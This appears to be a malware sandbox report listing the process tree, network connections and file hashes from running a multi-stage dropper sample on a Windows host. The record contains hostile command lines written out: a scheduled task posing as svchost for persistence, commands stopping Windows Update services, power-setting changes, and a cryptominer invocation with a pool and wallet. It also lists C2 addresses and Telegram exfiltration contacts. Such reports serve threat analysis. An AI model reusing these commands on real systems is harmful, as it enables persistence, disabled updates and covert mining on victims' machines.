C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe

"C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe"

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

"C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"

C:\Users\Admin\AppData\Local\Temp\1000020001\0272ecd3cd.exe

"C:\Users\Admin\AppData\Local\Temp\1000020001\0272ecd3cd.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9D69.tmp\9D6A.tmp\9D6B.bat C:\Users\Admin\AppData\Local\Temp\1000020001\0272ecd3cd.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffd7adecc40,0x7ffd7adecc4c,0x7ffd7adecc58

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ffd74d13cb8,0x7ffd74d13cc8,0x7ffd74d13cd8

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1928 -parentBuildID 20240401114208 -prefsHandle 1868 -prefMapHandle 1860 -prefsLen 23678 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {29b05505-767c-4730-9e26-cc257335e09a} 4156 "\\.\pipe\gecko-crash-server-pipe.4156" gpu

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1812,i,7048521432230140392,11751096164903758096,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=1808 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2044,i,7048521432230140392,11751096164903758096,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=2100 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2168,i,7048521432230140392,11751096164903758096,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=2184 /prefetch:8

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2340 -parentBuildID 20240401114208 -prefsHandle 2388 -prefMapHandle 2384 -prefsLen 24598 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f21322a7-c6d4-47b4-8fc9-ba48631df106} 4156 "\\.\pipe\gecko-crash-server-pipe.4156" socket

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2056 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2616 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3192 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3200 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3128 -childID 1 -isForBrowser -prefsHandle 2796 -prefMapHandle 3052 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1184 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d304fd1f-5083-4b98-b04c-9ec713ab5792} 4156 "\\.\pipe\gecko-crash-server-pipe.4156" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3684 -childID 2 -isForBrowser -prefsHandle 3676 -prefMapHandle 3672 -prefsLen 29088 -prefMapSize 244658 -jsInitHandle 1184 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6fadc03f-b4d7-4e84-86fa-aa1fb39cc8f3} 4156 "\\.\pipe\gecko-crash-server-pipe.4156" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4780 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4772 -prefMapHandle 4768 -prefsLen 29088 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a928029b-0999-4553-8c7c-aaaf22bdce8f} 4156 "\\.\pipe\gecko-crash-server-pipe.4156" utility

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2580,i,7048521432230140392,11751096164903758096,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=3168 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3128,i,7048521432230140392,11751096164903758096,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=3192 /prefetch:1

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4584 /prefetch:1

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5452 -childID 3 -isForBrowser -prefsHandle 5444 -prefMapHandle 5416 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1184 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d908e778-ff64-4455-a60c-ca95959fec84} 4156 "\\.\pipe\gecko-crash-server-pipe.4156" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5576 -childID 4 -isForBrowser -prefsHandle 5656 -prefMapHandle 5652 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1184 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b5139590-2439-4bcb-8b2b-473baf22a507} 4156 "\\.\pipe\gecko-crash-server-pipe.4156" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5644 -childID 5 -isForBrowser -prefsHandle 5868 -prefMapHandle 5444 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1184 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cf3a6faa-b611-4099-b8e4-19561da43457} 4156 "\\.\pipe\gecko-crash-server-pipe.4156" tab

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

"C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"

C:\Users\Admin\1000029002\e1bdee8355.exe

"C:\Users\Admin\1000029002\e1bdee8355.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5184 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4580,i,7048521432230140392,11751096164903758096,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=4592 /prefetch:3

C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe

"C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe"

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

"C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5280 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe

"C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe"

C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe

"C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5108 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5216 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe

"C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\RoamingKJKFBAFIDA.exe"

C:\Users\Admin\AppData\RoamingKJKFBAFIDA.exe

"C:\Users\Admin\AppData\RoamingKJKFBAFIDA.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5368 -ip 5368

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4440 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,11080146426313769281,11067310435136558861,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5676 /prefetch:1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5368 -s 2296

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Roaming\fFy0czWhkx.exe

"C:\Users\Admin\AppData\Roaming\fFy0czWhkx.exe"

C:\Users\Admin\AppData\Roaming\2KqPimodeA.exe

"C:\Users\Admin\AppData\Roaming\2KqPimodeA.exe"

C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe

"C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe"

C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe

"C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 6672 -ip 6672

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 6672 -s 388

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe

"C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe"

C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe

"C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe

"C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe"

C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe

"C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe

"C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\_MEI75602\Blsvr.exe

C:\Users\Admin\AppData\Local\Temp\_MEI75602\Blsvr.exe

C:\Users\Admin\AppData\Local\Temp\_MEI75602\Blsvr.exe

C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe

"C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe"

C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe

"C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe"

C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe

"C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe"

C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe

"C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "

C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe

clamer.exe -priverdD

C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe"

C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe

"C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\pureee.exe

"C:\Users\Admin\AppData\Local\Temp\pureee.exe"

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Users\Admin\AppData\Local\Temp\adada.exe

"C:\Users\Admin\AppData\Local\Temp\adada.exe"

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\ProgramData\urpolcr\mlpgetq.exe

C:\ProgramData\urpolcr\mlpgetq.exe

C:\Users\Admin\AppData\Local\Temp\dropperrr.exe

"C:\Users\Admin\AppData\Local\Temp\dropperrr.exe"

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe

"C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe"

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\conhost.exe

C:\Windows\System32\conhost.exe

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Windows\System32\msiexec.exe

"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\DirectX11\em_TaWHWZA1_installer_Win7-Win11_x86_x64.msi.msi"

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding AC450BFC6A0BC704B7C6E2EE0FFEAE47

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding C713DA994074795A266C3BA1226E48DF E Global\MSI0000

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\SysWOW64\cmd.exe" /C "cd "C:\Program Files (x86)\COMODO\Endpoint Manager\" && "C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe" "

C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe"

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe"

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe" noui

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe"

Network

Country Destination Domain Proto
RU 185.215.113.19:80 185.215.113.19 tcp
RU 185.215.113.16:80 185.215.113.16 tcp
US 8.8.8.8:53 19.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 16.113.215.185.in-addr.arpa udp
FR 142.250.179.110:443 youtube-ui.l.google.com tcp
FR 142.250.179.78:443 youtube-ui.l.google.com tcp
FR 142.250.179.78:443 youtube-ui.l.google.com tcp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
FR 142.250.179.78:443 youtube-ui.l.google.com udp
FR 172.217.18.206:443 consent.youtube.com tcp
FR 172.217.18.206:443 consent.youtube.com tcp
FR 172.217.18.206:443 consent.youtube.com udp
US 34.149.97.1:443 firefox-api-proxy.cdn.mozilla.net udp
US 34.149.97.1:443 firefox-api-proxy.cdn.mozilla.net tcp
FR 142.250.179.110:443 youtube-ui.l.google.com tcp
FR 172.217.20.196:443 www.google.com tcp
FR 172.217.18.206:443 consent.youtube.com tcp
FR 172.217.20.196:443 www.google.com udp
N/A 127.0.0.1:49778 tcp
FR 172.217.20.196:443 www.google.com tcp
FR 172.217.20.196:443 www.google.com tcp
N/A 127.0.0.1:49804 tcp
N/A 224.0.0.251:5353 udp
RU 85.28.47.31:80 85.28.47.31 tcp
RU 185.215.113.16:80 185.215.113.16 tcp
RU 185.215.113.16:80 185.215.113.16 tcp
DE 20.52.165.210:39030 tcp
VN 103.28.36.182:443 coe.com.vn tcp
RU 185.215.113.67:40960 tcp
RU 85.28.47.70:80 85.28.47.70 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
NL 109.120.137.52:80 109.120.137.52 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
US 34.117.59.81:443 ipinfo.io tcp
NL 149.154.167.220:443 api.telegram.org tcp
RU 185.215.113.9:9137 tcp
RU 185.215.113.67:40960 tcp
NL 91.225.219.163:80 91.225.219.163 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
NL 91.92.240.111:80 91.92.240.111 tcp
NL 91.92.240.111:1334 91.92.240.111 tcp
RU 185.215.113.67:40960 tcp
US 172.67.75.172:443 api.ip.sb tcp
RU 185.215.113.67:40960 tcp
NL 91.92.240.111:80 91.92.240.111 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
CH 185.196.9.187:80 185.196.9.187 tcp
FR 141.94.96.195:3333 pool.supportxmr.com tcp
CA 51.222.21.20:4782 tcp
NL 91.92.240.111:39001 tcp
DE 195.201.57.90:443 ipwho.is tcp
RU 185.215.113.67:40960 tcp
NL 91.92.240.111:80 91.92.240.111 tcp
RU 185.215.113.67:40960 tcp
GB 161.35.34.195:3333 rx.unmineable.com tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
US 104.21.72.79:443 vaniloin.fun tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
DE 18.184.254.238:443 mdmsupport.cmdm.comodo.com tcp
RU 185.215.113.67:40960 tcp
N/A 127.0.0.1:20777 tcp
N/A 127.0.0.1:20777 tcp
RU 185.215.113.67:40960 tcp
US 34.194.93.123:443 capcuteditorcompany.itsm-us1.comodo.com tcp

Files

memory/4984-0-0x0000000000D70000-0x000000000122C000-memory.dmp

memory/4984-1-0x0000000077136000-0x0000000077138000-memory.dmp

memory/4984-2-0x0000000000D71000-0x0000000000D9F000-memory.dmp

memory/4984-3-0x0000000000D70000-0x000000000122C000-memory.dmp

memory/4984-4-0x0000000000D70000-0x000000000122C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

MD5 315c411d1c4b516df9aead3d0880d016
SHA1 01f5dfd8e6b9a28528e4b0106cf9898c4794bac4
SHA256 c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28
SHA512 7d1b4bbba8fe34a879f99ef4749b29a4717d5af89110783771029c2f05961ed50f81f95df04b83618f9848f2f8e094a829f7e3759d963652177ba2b322263d56

memory/1928-17-0x0000000000570000-0x0000000000A2C000-memory.dmp

memory/4984-16-0x0000000000D70000-0x000000000122C000-memory.dmp

memory/1928-19-0x0000000000571000-0x000000000059F000-memory.dmp

memory/1928-20-0x0000000000570000-0x0000000000A2C000-memory.dmp

memory/1928-21-0x0000000000570000-0x0000000000A2C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000020001\0272ecd3cd.exe

MD5 162df2ad410933832d7016d5e213edc8
SHA1 6bd5e2db70dac611d87ecac403c72ca66800890a
SHA256 6926099d47358b3729226b09fe1ad79e1c41588804e2642b286ad5393e02e1cd
SHA512 77583ccea4de3d306c4e8ebaec67ae2569aae0da63d87e692d2d1f3f326dfa8b6f49297bf97d62bb09ba8bdeebe3835adbb26765e580b9a83d11ec68a0270cbe

C:\Users\Admin\AppData\Local\Temp\9D69.tmp\9D6A.tmp\9D6B.bat

MD5 de9423d9c334ba3dba7dc874aa7dbc28
